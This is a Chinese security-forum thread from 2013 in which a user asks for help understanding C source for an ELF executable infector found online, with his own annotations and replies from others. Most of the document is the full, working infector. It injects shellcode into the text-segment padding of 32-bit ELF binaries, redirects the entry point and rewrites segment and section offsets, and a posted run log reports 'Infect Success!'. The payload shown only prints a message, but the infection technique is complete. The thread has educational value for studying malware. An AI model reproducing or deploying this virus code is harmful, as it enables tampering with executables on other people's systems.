首页
社区
课程
招聘
[旧帖] 求助对网上一个ELF 文件感染的小代码理解? 0.00雪花
发表于: 2013-3-17 23:48 7579

[旧帖] 求助对网上一个ELF 文件感染的小代码理解? 0.00雪花

2013-3-17 23:48
7579
在网上看到了一位高人写的ELF 文件感染的小代码,但是依据我自己的理解,我为这个代码加了些注释,但是其中还是有好几处不能理解,希望得到各位大牛的指教(代码详见附录)
1、 *(int *)&g_ShellCode[g_nVirusOffsetOfSRCEntry] = Ehdr.e_entry;
数组 g_ShellCode总共大小才52,那么这里的g_nVirusOffsetOfSRCEntry=63已经溢出了,这个有什么特殊含义?我尝试将这个值调整为64也是正确的,难道是故意设置一个随机值?就不怕冲突

2、
nOffset = 0;
    for (pPhdr = (Elf32_Phdr *)pchData, i = 0; i < Ehdr.e_phnum; i++)
    {
        if (nOffset)
        {
            /* 位于插入点后的各代码段偏移加一页大小  */
             这里为什么要加偏移 PAGE_SIZE,病毒代码不是插入在填充区间吗?既然这样,又不会使其后的
             各个段发生偏移,这里真有必要?
            pPhdr->p_offset += PAGE_SIZE;
        }

3、
/* 检查病毒体代码是否超过填充区大小 */
            printf ("g_nVirusSize=%x, nPaddingSize=%x\n", g_nVirusSize, nPaddingSize);
            if (g_nVirusSize >= nPaddingSize)
            {
                   这个条件是否有点太严格了,代码可加载段可能有多个,为什么第一个可加载段
                    的填充区间小于病毒体大小就认为没有机会,要退出?
                _PRINT_EXIT("Virus too large!")
            }

附录
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <elf.h>

#define _ERROR_NULL(nRetCode)   if (!nRetCode) goto Exit0;
#define _ERROR_OPEN(nRetCode)   if (nRetCode < 0) goto Exit0;
#define _ERROR_SEEK(nRetCode)   if (nRetCode < 0) goto Exit0;
#define _ERROR_WRITE(nRetCode)  if (nRetCode < 0) goto Exit0;
#define _ERROR_CHMOD(nRetCode)  if (nRetCode < 0) goto Exit0;
#define _ERROR_CHOWN(nRetCode)  if (nRetCode < 0) goto Exit0;
#define _ERROR_RENAME(nRetCode) if (nRetCode < 0) goto Exit0;
#define _ERROR_READ(nRetCode, nSize) if (nRetCode != nSize) goto Exit0;
#define _PRINT_EXIT(pszMsg) printf("%s \n", pszMsg); goto Exit0;

#define PAGE_SIZE 4096

char g_ShellCode[] =
    "\x0\x0\x0\x0"
    "\x50"                                   // push eax
    "\x53"                                   // push ebx
    "\x51"                                   // push ecx
    "\x52"                                   // push edx
    "\xE8\x0\x0\x0\x0"                // call $+5
    "\x59"                                   // pop ecx
    "\x81\xC1\x1A\x0\x0\x0"       // add ecx, 1Ah
    "\xB8\x04\x0\x0\x0"              // mov eax, 4
    "\xBB\x2\x0\x0\x0"               // mov ebx, 2
    "\xBA\x12\x0\x0\x0"             // mov edx, 12h
    "\xCD\x80"                           // int 80h
    "\xEB\x13"                            // jmp leave
    "\x49\x6E\x66\x65\x63\x74\x65\x64\x20"   // [Infected ]
    "\x42\x79\x20\x76\x42\x69\x6E\x0A\x00"   // [By vBin\n\0]
    "\x0"                                     // align
                                                // leave:
    "\x5A"                                   // pop edx
    "\x59"                                   // pop ecx
    "\x5B"                                   // pop ebx
    "\x58"                                   // pop eax
    "\xB8\x0\x0\x0\x0"                // mov eax, 0
    "\xFF\xE0"                              // jmp eax
    "\xB8\x1\x0\x0\x0"                 // mov eax, 1 [Reserved For Debug]
    "\xBB\x0\x0\x0\x0"                // mov ebx, 0 [Reserved For Debug]
    "\xCD\x80"                            // int 80h    [Reserved For Debug]
;
int  g_nVirusSize = sizeof(g_ShellCode);
long g_nVirusEntry = 4;           // offset of virus code in 'g_ShellCode' 
long g_nVirusOffsetOfSRCEntry = 63;  // record host entry

// copy nDataSize bytes from FILE nFromHandle to FILE nToHandle.
// note: file pointer can be changed with lseek, so they needn't point to file start.
int CopyFileData(int nFromHandle, int nToHandle, unsigned int nDataSize)
{
    int nResult = 0;
    int nRetCode = 0;
    
    char szData[PAGE_SIZE];
    unsigned int nWritedSize = 0;
    
    while (nWritedSize + PAGE_SIZE < nDataSize)
    {
        nRetCode = read(nFromHandle, szData, PAGE_SIZE);
        _ERROR_READ(nRetCode, PAGE_SIZE);
        
        nRetCode = write(nToHandle, szData, PAGE_SIZE);
        _ERROR_WRITE(nRetCode);
        
        nWritedSize += PAGE_SIZE;
    }

    // copy the remain SIZE of nDataSize modulod by PAGE_SIZE
    nRetCode = read(nFromHandle, szData, nDataSize - nWritedSize);
    _ERROR_READ(nRetCode, nDataSize - nWritedSize);
    
    nRetCode = write(nToHandle, szData, nDataSize - nWritedSize);
    _ERROR_WRITE(nRetCode);

    nResult = 1;
Exit0:
    return nResult;
}

/* Return true if current file is a expect ELF file.  */
int check_elf_header(Elf32_Ehdr const Ehdr)
{
    int nResult = 0;
    int nRetCode = 0;

    nRetCode = strncmp(Ehdr.e_ident, ELFMAG, SELFMAG);
    if (0 != nRetCode)
    {
     	_PRINT_EXIT ("Not Elf File!");   
    }

    if (Ehdr.e_ident[EI_CLASS] != ELFCLASS32)
    {
        _PRINT_EXIT ("Not 32bit File!");
    }
    
    if (Ehdr.e_ident[EI_DATA] != ELFDATA2LSB)
    {
        _PRINT_EXIT ("Not LSB!");
    }
    
    if ((Ehdr.e_type != ET_EXEC) && (Ehdr.e_type != ET_DYN))
    {
        _PRINT_EXIT ("Not Execute File!");
    }
    
    if (Ehdr.e_machine != EM_386)
    {
        _PRINT_EXIT ("Machine Not 386!");
    }
    
    if (Ehdr.e_version != EV_CURRENT)
    {
        _PRINT_EXIT ("Version Error!");
    }

    nResult = 1;
Exit0:
    return nResult;
}

int infect(char *pszFileName)
{
    int nResult      = 0;
    int nRetCode     = 0;
    
    Elf32_Shdr *pShdr = NULL;
    Elf32_Phdr *pPhdr = NULL;
    Elf32_Ehdr Ehdr;
    
    int nFileHandle  = -1;
    int nTmpHandle   = -1;
    
    char szTmpName[] = "infect.tmp";
    char szData[PAGE_SIZE] = { 0 };
    
    char *pchData    = NULL;
    char *pchSData   = NULL;
    
    int i            = 0;
    int nPLen        = 0;
    int nSLen        = 0;
    int nOffset      = 0;
    int nEVaddr      = 0;
    int nOldShoff    = 0;
    int nTmpFilePos  = 0;
    int nPaddingSize = 0;    
    
    struct stat FileStat;
    
    nFileHandle = open(pszFileName, O_RDONLY);
    _ERROR_OPEN(nFileHandle);
    
    nRetCode = lseek(nFileHandle, 0, SEEK_SET);           /* 把文件指针指向文件的开头.  */
    _ERROR_SEEK(nRetCode);
    
    nRetCode = read(nFileHandle, &Ehdr, sizeof(Ehdr)); /* 获取文件头信息*/
    _ERROR_READ(nRetCode, sizeof(Ehdr));
    
    if (!check_elf_header (Ehdr))
     {
         _PRINT_EXIT("Not a expect Elf File!");   
     }
    
    printf ("Ehdr.e_entry=%p\n", Ehdr.e_entry);
    *(int *)&g_ShellCode[g_nVirusOffsetOfSRCEntry] = Ehdr.e_entry;
   
    nPLen = sizeof(Elf32_Phdr) * Ehdr.e_phnum; // 程序头表条目数
    pchData = (char *)malloc(nPLen);
    _ERROR_NULL(pchData);
    
    nRetCode = lseek(nFileHandle, Ehdr.e_phoff, SEEK_SET); // 程序头表偏移量
    _ERROR_SEEK(nRetCode);
    
    nRetCode = read(nFileHandle, pchData, nPLen); // 从程序头表开始读取所有的程序头表
    _ERROR_READ(nRetCode, nPLen);    
    
    /*
     * update the phdr's to reflect the extention of the text segment (to
     * allow virus insertion)
     */
    nOffset = 0;
    for (pPhdr = (Elf32_Phdr *)pchData, i = 0; i < Ehdr.e_phnum; i++)
    {
        if (nOffset)
        {
            /* 位于插入点后的各代码段偏移加一页大小  */
            /* 不规则排列 */
            printf ("pPhdr->p_offset=%x\n", pPhdr->p_offset);
            pPhdr->p_offset += PAGE_SIZE;
        }
        else if (PT_LOAD == pPhdr->p_type && 0 == pPhdr->p_offset) /* 可加载段(代码及数据段)*/
        {
            /* 可加载段,并非说此时p_offset必须是0,但通常是的 */
            int palen;
            /* 内存大小和文件大小不一致,说明存在.bss段 */
            if (pPhdr->p_filesz != pPhdr->p_memsz)
            {
            	  /* 如果存在.bss, 直接在pPhdr->p_vaddr + pPhdr->p_filesz后填充可能被覆盖,
            	     导致病毒物理插入无效。那为什么不插入到pPhdr->p_vaddr + pPhdr->p_memsz后?
            	     不插入pPhdr->p_vaddr + pPhdr->p_memsz显然静态文件不存在.bss区间 */
                _PRINT_EXIT("pPhdr->p_filesz != pPhdr->p_memsz");
            }

            /* 新的程序入口点 entry point,也是原代码段尾部填充区位置 */
            nEVaddr = pPhdr->p_vaddr + pPhdr->p_filesz;
            printf ("nEVaddr(new entry)=%p\n", nEVaddr);
            /* 原代码段尾部填充大小,段以PAGE_SIZE为单位进行对齐 */
            nPaddingSize = PAGE_SIZE - (nEVaddr & (PAGE_SIZE - 1));
            /* 检查病毒体代码是否超过填充区大小 */
            printf ("g_nVirusSize=%x, nPaddingSize=%x\n", g_nVirusSize, nPaddingSize);
            if (g_nVirusSize >= nPaddingSize)
            {
                //_PRINT_EXIT("Virus too large!");
		continue;
            }
            printf ("nEVaddr=%p, g_nVirusEntry=%x\n", nEVaddr, g_nVirusEntry);
            Ehdr.e_entry = nEVaddr + g_nVirusEntry;
            /* 既然phdr->p_offset为零,这里还有必要这样编码吗?*/
            /* 在文件中物理地插入寄生代码到这个位置*/
            nOffset = pPhdr->p_offset + pPhdr->p_filesz; // Virus offset in file
            pPhdr->p_filesz += g_nVirusSize;
            pPhdr->p_memsz += g_nVirusSize;
        }
        
        /* 依次遍历每个程序头表(程序段)*/
        ++pPhdr; 
    }
    
    printf ("nOffset=%x\n", nOffset);
    if (0 == nOffset)
    {
        _PRINT_EXIT("No LOAD Segment!");
    }

    nSLen = sizeof(Elf32_Shdr) * Ehdr.e_shnum;
    pchSData = (char *)malloc(nSLen);
    _ERROR_NULL(pchSData);
    
    nRetCode = lseek(nFileHandle, Ehdr.e_shoff, SEEK_SET);
    _ERROR_SEEK(nRetCode);
        
    nRetCode = read(nFileHandle, pchSData, nSLen);
    _ERROR_READ(nRetCode, nSLen);

    /* update the shdr's to reflect the insertion of the parasite */
    for (pShdr = (Elf32_Shdr *)pchSData, i = 0; i < Ehdr.e_shnum; i++)
    {
        /* 位于插入点后的各节区偏移也增加一页 */
        if (pShdr->sh_offset >= nOffset)
        {
        	  printf ("pShdr->sh_offset=%x\n", pShdr->sh_offset);
        	  /* 基本上从小到大升序排列 */
            pShdr->sh_offset += PAGE_SIZE;
        }
        /* 被插入代码所在节区  */
        else if (nEVaddr == (pShdr->sh_addr + pShdr->sh_size))
        {
            /* if its not strip safe then we cant use it */
            /* 被strip过的ELF文件也并非就不存在SHT_PROGBITS段,
               *.text节区也可以有该属性,并且默认strip只去掉
               去除.symbol节的内容以及.debug节的内容  */
            printf ("i=%d, pShdr->sh_type=%x\n", i, pShdr->sh_type);
            if (pShdr->sh_type != SHT_PROGBITS )
            {
            	  printf ("exit: pShdr->sh_type != SHT_PROGBITS\n");
                _PRINT_EXIT("stat error!\n");
            }
            pShdr->sh_size += g_nVirusSize;
        }
        /* 依次遍历每个节区  */
        pShdr++;
    }

    /* update ehdr to reflect new offsets */
    nOldShoff = Ehdr.e_shoff;
    if (Ehdr.e_shoff >= nOffset)
    {
        Ehdr.e_shoff += PAGE_SIZE;
    }
    
    nRetCode = fstat(nFileHandle, &FileStat);
    if (nRetCode < 0)
    {
        _PRINT_EXIT("stat error!\n");
    }
    
    nTmpHandle = open(szTmpName, O_WRONLY | O_CREAT | O_TRUNC, FileStat.st_mode);
    _ERROR_OPEN(nTmpHandle);
    
    nRetCode = lseek(nFileHandle, 0, SEEK_SET);
    _ERROR_SEEK(nFileHandle);
    
    nRetCode = write(nTmpHandle, &Ehdr, sizeof(Elf32_Ehdr));
    _ERROR_WRITE(nRetCode);
    
    nRetCode = write(nTmpHandle, pchData, nPLen);
    _ERROR_WRITE(nRetCode);
    
    nTmpFilePos = sizeof(Elf32_Ehdr) + nPLen;
    nRetCode = lseek(nFileHandle, nTmpFilePos, SEEK_SET);
    _ERROR_SEEK(nRetCode);
    
    if (nOffset < nTmpFilePos)
    {
        _PRINT_EXIT("fatal error!");
    }
    nRetCode = CopyFileData(nFileHandle, nTmpHandle, nOffset - nTmpFilePos);
    _ERROR_NULL(nRetCode);
   
    nRetCode = write(nTmpHandle, g_ShellCode, g_nVirusSize);
    _ERROR_WRITE(nRetCode);
    
    memset(szData, PAGE_SIZE - g_nVirusSize, 0);
    
    nRetCode = write(nTmpHandle, szData, PAGE_SIZE - g_nVirusSize);
    _ERROR_WRITE(nRetCode);
    
    nRetCode = CopyFileData(nFileHandle, nTmpHandle, nOldShoff - nOffset);
    _ERROR_NULL(nRetCode);
    
    nRetCode = write(nTmpHandle, pchSData, nSLen);
    _ERROR_WRITE(nRetCode);
    
    nTmpFilePos = nOldShoff + nSLen;
    nRetCode = lseek(nFileHandle, nTmpFilePos, SEEK_SET);
    _ERROR_SEEK(nRetCode);
    
    nRetCode = CopyFileData(
        nFileHandle,
        nTmpHandle,
        FileStat.st_size - nTmpFilePos
    );
    _ERROR_NULL(nRetCode);
    
    nRetCode = rename(szTmpName, pszFileName);
    _ERROR_RENAME(nRetCode);
    
    nRetCode = fchmod(nTmpHandle, FileStat.st_mode);
    _ERROR_CHMOD(nRetCode);
    
    nRetCode = fchown(nTmpHandle, FileStat.st_uid, FileStat.st_gid);
    _ERROR_CHOWN(nRetCode);
    
    printf("Infect Success!\n");
    
    nResult = 1;
Exit0:
    if (nFileHandle >= 0)
    {
        close(nFileHandle);
        nFileHandle = -1;
    }
    
    if (nTmpHandle >= 0)
    {
        close(nTmpHandle);
        nTmpHandle = -1;
    }
    
    if (pchData)
    {
        free(pchData);
        pchData = NULL;
    }
    
    if (pchSData)
    {
        free(pchSData);
        pchSData = NULL;
    }
    return nResult;
}

int main(int argc, char **argv)
{
    int nRetCode = 0;
    
    if (argc != 2)
	{
	    _PRINT_EXIT("usage: demo <filename>");
	}
	
	nRetCode = infect(argv[1]);
	if (nRetCode != 1)
	{
	    _PRINT_EXIT("infect failed");	    
	    goto Exit0;
	}
	
Exit0:	
    return 0;
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 110
活跃值: (308)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
我现在在windows系统下,对这个程序也只是简单看了看,说说我对你几个问题的理解。
1、shellcode长度 不止53个字节 , 你数错了。而且偏移为64的字节刚好是
"\xB8\x0\x0\x0\x0"                // mov eax, 0
    "\xFF\xE0"                              // jmp eax
的那四个0处, 然后*(int *)&g_ShellCode[g_nVirusOffsetOfSRCEntry] = Ehdr.e_entry;将程序入口地址写入eax,让后跳到真正入口地址。
2、 这里为什么要加偏移 PAGE_SIZE。我的想法和你是一样的,我觉得应该没必要加,不知道是不是elf格式有什么特殊要求。
3、程序中是这样写的:
if (g_nVirusSize >= nPaddingSize)
            {
                //_PRINT_EXIT("Virus too large!");
    continue;
            }
当某个区块不满足时,是执行continue,找下一个区块。
不知道回复 你是否满意?
2013-3-18 09:47
0
雪    币: 179
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
1、以下是我的打印信息,其中显示 g_nVirusSize=52 ,也就是52字节
zyd@HCC:~/projects> gcc demo2.c
zyd@HCC:~/projects> ./a.out testELF
Ehdr.e_entry=0x80486c0
nEVaddr(new entry)=0x804870e
g_nVirusSize=52, nPaddingSize=8f2
nEVaddr=0x804870e, g_nVirusEntry=4
pPhdr->p_offset=3ef4
pPhdr->p_offset=3f08
pPhdr->p_offset=3168
pPhdr->p_offset=3564
pPhdr->p_offset=3000
pPhdr->p_offset=3ef4
nOffset=70e
i=18, pShdr->sh_type=1
pShdr->sh_offset=3ef4
pShdr->sh_offset=3efc
pShdr->sh_offset=3f04
pShdr->sh_offset=3f08
pShdr->sh_offset=3ff0
pShdr->sh_offset=3ff4
pShdr->sh_offset=400c
pShdr->sh_offset=4014
pShdr->sh_offset=4014
pShdr->sh_offset=40f8
pShdr->sh_offset=4138
pShdr->sh_offset=4197
pShdr->sh_offset=43a8
pShdr->sh_offset=44ea
pShdr->sh_offset=45ec
pShdr->sh_offset=470b
pShdr->sh_offset=4799
pShdr->sh_offset=47b1
pShdr->sh_offset=4f28
pShdr->sh_offset=5408
Infect Success!


2、加偏移 PAGE_SIZE相关的源码去除之后,程序运行出错
zyd@HCC:~/projects> ./testELF
Segmentation fault
2013-3-18 22:57
0
雪    币: 179
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
貌似可加载段并不一定满足 0 == pPhdr->p_offset,这个条件对应的物理含义是什么呢?
段属性中 p_offset 的含义是段的位置相对于文件开始处的偏移,那么代码段相对文件的开始偏移为0不就是代表该段在文件刚开始的位置?显然,文件刚开始的文字存放ELF文件头信息,这个不是有冲突吗?(代码段和文件头信息显然不可能是同一个信息)
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  *** Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
LOAD           0x000000 0x08048000 0x08048000 0x00fb4 0x00fb4 R E 0x1000
  LOAD           0x01eef4 0x08049ef4 0x08049ef4 0x00120 0x00128 RW  0x1000
  DYNAMIC        0x01ef08 0x08049f08 0x08049f08 0x000e8 0x000e8 RW  0x4
  NOTE           0x01e168 0x08048168 0x08048168 0x00038 0x00038 R   0x4
  GNU_EH_FRAME   0x01e564 0x08048564 0x08048564 0x00024 0x00024 R   0x4
  GNU_STACK      0x01e000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
  GNU_RELRO      0x01eef4 0x08049ef4 0x08049ef4 0x0010c 0x0010c R   0x1
2013-3-18 23:24
0
雪    币: 179
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
/* 检查病毒体代码是否超过填充区大小 */
            printf ("g_nVirusSize=%x, nPaddingSize=%x\n", g_nVirusSize, nPaddingSize);

是我搞错了,0x52=82,因此上面的*(int *)&g_ShellCode[g_nVirusOffsetOfSRCEntry] = Ehdr.e_entry; 并没有溢出
2013-3-20 22:59
0
游客
登录 | 注册 方可回帖
返回
//